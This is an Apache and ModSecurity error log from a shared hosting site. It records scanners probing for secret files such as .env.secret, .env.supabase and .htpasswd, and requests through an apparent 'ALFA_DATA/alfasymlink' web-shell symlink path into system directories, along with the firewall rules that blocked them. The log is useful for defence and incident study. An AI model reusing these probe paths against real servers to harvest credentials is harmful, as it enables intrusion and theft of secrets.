[Mon Oct 26 08:51:35.974907 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 34.233.114.237:55863] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:51:43.727102 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 52.203.152.231:63270] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:51:47.835807 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 34.202.88.37:33917] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:52:00.367916 2026] [core:error] [pid 3026994:tid 3026994] (13)Permission denied: [client 85.208.96.205:39036] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_mrt_cache/objects
[Mon Oct 26 08:52:03.889112 2026] [ssl:error] [pid 3032262:tid 3032262] (70014)End of file found: [client 52.0.218.219:23725] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:52:04.059161 2026] [core:error] [pid 3024447:tid 3024447] (13)Permission denied: [client 185.191.171.5:25784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCPv6/cache_dma
[Mon Oct 26 08:52:07.841839 2026] [core:error] [pid 3032272:tid 3032272] (13)Permission denied: [client 54.144.185.255:1683] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/subsystem/drivers/ohci-pci/uevent
[Mon Oct 26 08:52:15.988471 2026] [ssl:error] [pid 3032273:tid 3032273] (70014)End of file found: [client 44.213.36.21:56493] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:52:19.424617 2026] [core:error] [pid 3031755:tid 3031755] (13)Permission denied: [client 185.191.171.2:56342] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/seq_file/order
[Mon Oct 26 08:52:29.636547 2026] [core:error] [pid 3026994:tid 3026994] (13)Permission denied: [client 85.208.96.209:58994] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/usersize
[Mon Oct 26 08:52:29.637209 2026] [security2:error] [pid 3026994:tid 3026994] [client 85.208.96.209:58994] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/usersize"] [unique_id "at9NDS0_YUoaikSO4nloxgAAAAE"]
[Mon Oct 26 08:52:29.637239 2026] [security2:error] [pid 3026994:tid 3026994] [client 85.208.96.209:58994] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/usersize"] [unique_id "at9NDS0_YUoaikSO4nloxgAAAAE"]
[Mon Oct 26 08:52:38.443356 2026] [ssl:error] [pid 3027735:tid 3027735] (5)Input/output error: [client 18.214.251.19:44819] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:52:39.915006 2026] [ssl:error] [pid 3032272:tid 3032272] (70014)End of file found: [client 3.94.157.25:3876] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:52:43.977066 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 54.162.69.192:64149] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:52:44.917063 2026] [authz_core:error] [pid 3026994:tid 3026994] [client 51.81.111.76:25580] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Mon Oct 26 08:52:47.813907 2026] [ssl:error] [pid 3031755:tid 3031755] (70014)End of file found: [client 3.213.46.222:34465] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:53:00.794156 2026] [security2:error] [pid 3032274:tid 3032274] [client 16.216.88.190:36864] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/435_mod_status.conf"] [unique_id "at9NLCmtoTVUWKg0WJJgUwAAABI"]
[Mon Oct 26 08:53:00.794617 2026] [security2:error] [pid 3032274:tid 3032274] [client 16.216.88.190:36864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/435_mod_status.conf"] [unique_id "at9NLCmtoTVUWKg0WJJgUwAAABI"]
[Mon Oct 26 08:53:00.794968 2026] [security2:error] [pid 3032274:tid 3032274] [client 16.216.88.190:36864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/435_mod_status.conf"] [unique_id "at9NLCmtoTVUWKg0WJJgUwAAABI"]
[Mon Oct 26 08:53:02.550155 2026] [security2:error] [pid 3026994:tid 3026994] [client 185.191.171.11:38050] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/asound.conf"] [unique_id "at9NLi0_YUoaikSO4nloyAAAAAE"]
[Mon Oct 26 08:53:02.550541 2026] [security2:error] [pid 3026994:tid 3026994] [client 185.191.171.11:38050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/asound.conf"] [unique_id "at9NLi0_YUoaikSO4nloyAAAAAE"]
[Mon Oct 26 08:53:02.550821 2026] [security2:error] [pid 3026994:tid 3026994] [client 185.191.171.11:38050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/asound.conf"] [unique_id "at9NLi0_YUoaikSO4nloyAAAAAE"]
[Mon Oct 26 08:53:03.762083 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 100.29.63.24:59960] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:53:08.381432 2026] [ssl:error] [pid 3032262:tid 3032262] (70014)End of file found: [client 23.22.105.143:41460] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:53:11.118049 2026] [ssl:error] [pid 3027735:tid 3027735] (70014)End of file found: [client 185.191.171.4:41786] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:53:19.972175 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 18.210.58.238:22036] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:53:28.444209 2026] [core:error] [pid 3032262:tid 3032262] (13)Permission denied: [client 3.222.190.107:16816] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/rom
[Mon Oct 26 08:53:32.051258 2026] [security2:error] [pid 3024447:tid 3024447] [client 16.216.88.152:51200] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/265_mod_mime.conf"] [unique_id "at9NTBA_yAFS6UHz-l1VkgAAAA0"]
[Mon Oct 26 08:53:32.051755 2026] [security2:error] [pid 3024447:tid 3024447] [client 16.216.88.152:51200] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/265_mod_mime.conf"] [unique_id "at9NTBA_yAFS6UHz-l1VkgAAAA0"]
[Mon Oct 26 08:53:32.052080 2026] [security2:error] [pid 3024447:tid 3024447] [client 16.216.88.152:51200] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/265_mod_mime.conf"] [unique_id "at9NTBA_yAFS6UHz-l1VkgAAAA0"]
[Mon Oct 26 08:53:35.798491 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 34.227.156.153:22940] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:53:40.568743 2026] [core:error] [pid 3032262:tid 3032262] (13)Permission denied: [client 85.208.96.209:32928] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/slab_size
[Mon Oct 26 08:53:47.908948 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 3.229.95.193:63796] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:54:03.981242 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 98.82.40.168:29070] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:54:12.708681 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 52.54.15.103:45226] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:54:19.807132 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 54.92.171.106:34855] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:54:31.909383 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 54.235.191.179:34803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:54:39.684764 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 34.206.249.188:40676] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:54:51.873845 2026] [ssl:error] [pid 3032274:tid 3032274] (70014)End of file found: [client 3.216.227.216:32650] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:54:55.387123 2026] [security2:error] [pid 3024447:tid 3024447] [client 170.106.147.63:54536] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/beta/"] [unique_id "at9NnxA_yAFS6UHz-l1VlwAAAA0"]
[Mon Oct 26 08:54:55.757773 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 44.215.235.20:25607] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:55:22.593806 2026] [security2:error] [pid 3032273:tid 3032273] [client 34.126.82.152:42220] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/"] [unique_id "at9NutXnMHl9I2qtmKiHHAAAABE"]
[Mon Oct 26 08:55:22.594314 2026] [security2:error] [pid 3032273:tid 3032273] [client 34.126.82.152:42220] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/"] [unique_id "at9NutXnMHl9I2qtmKiHHAAAABE"]
[Mon Oct 26 08:55:22.594659 2026] [security2:error] [pid 3032273:tid 3032273] [client 34.126.82.152:42220] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/"] [unique_id "at9NutXnMHl9I2qtmKiHHAAAABE"]
[Mon Oct 26 08:55:22.594732 2026] [security2:error] [pid 3032273:tid 3032273] [client 34.126.82.152:42220] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "www.hosp2.sherwinpinturas.com"] [uri "/"] [unique_id "at9NutXnMHl9I2qtmKiHHAAAABE"]
[Mon Oct 26 08:55:22.594762 2026] [security2:error] [pid 3032273:tid 3032273] [client 34.126.82.152:42220] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "www.hosp2.sherwinpinturas.com"] [uri "/"] [unique_id "at9NutXnMHl9I2qtmKiHHAAAABE"]
[Mon Oct 26 08:55:22.967688 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at9Nup_dbg3ptBnwDgQ5cgAAAAM"]
[Mon Oct 26 08:55:22.967938 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at9Nup_dbg3ptBnwDgQ5cgAAAAM"]
[Mon Oct 26 08:55:22.968266 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at9Nup_dbg3ptBnwDgQ5cgAAAAM"]
[Mon Oct 26 08:55:22.969923 2026] [security2:error] [pid 3024447:tid 3024447] [client 34.126.82.152:42230] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "www.hosp2.sherwinpinturas.com"] [uri "/docker-compose.yml"] [unique_id "at9NuhA_yAFS6UHz-l1VmgAAAA0"]
[Mon Oct 26 08:55:22.969967 2026] [security2:error] [pid 3024447:tid 3024447] [client 34.126.82.152:42230] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "www.hosp2.sherwinpinturas.com"] [uri "/docker-compose.yml"] [unique_id "at9NuhA_yAFS6UHz-l1VmgAAAA0"]
[Mon Oct 26 08:55:23.688845 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/"] [unique_id "at9Nu9znO4d1yCQgc5RBiQAAABY"]
[Mon Oct 26 08:55:23.689431 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/"] [unique_id "at9Nu9znO4d1yCQgc5RBiQAAABY"]
[Mon Oct 26 08:55:23.689773 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/"] [unique_id "at9Nu9znO4d1yCQgc5RBiQAAABY"]
[Mon Oct 26 08:55:23.950173 2026] [authz_core:error] [pid 3032273:tid 3032273] [client 34.126.82.152:42220] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/hosp2/.htpasswd
[Mon Oct 26 08:55:24.449723 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at9NvJ_dbg3ptBnwDgQ5dgAAAAM"]
[Mon Oct 26 08:55:24.449979 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at9NvJ_dbg3ptBnwDgQ5dgAAAAM"]
[Mon Oct 26 08:55:24.450261 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at9NvJ_dbg3ptBnwDgQ5dgAAAAM"]
[Mon Oct 26 08:55:24.603441 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at9NvCmtoTVUWKg0WJJgXwAAABI"]
[Mon Oct 26 08:55:24.603706 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at9NvCmtoTVUWKg0WJJgXwAAABI"]
[Mon Oct 26 08:55:24.603999 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at9NvCmtoTVUWKg0WJJgXwAAABI"]
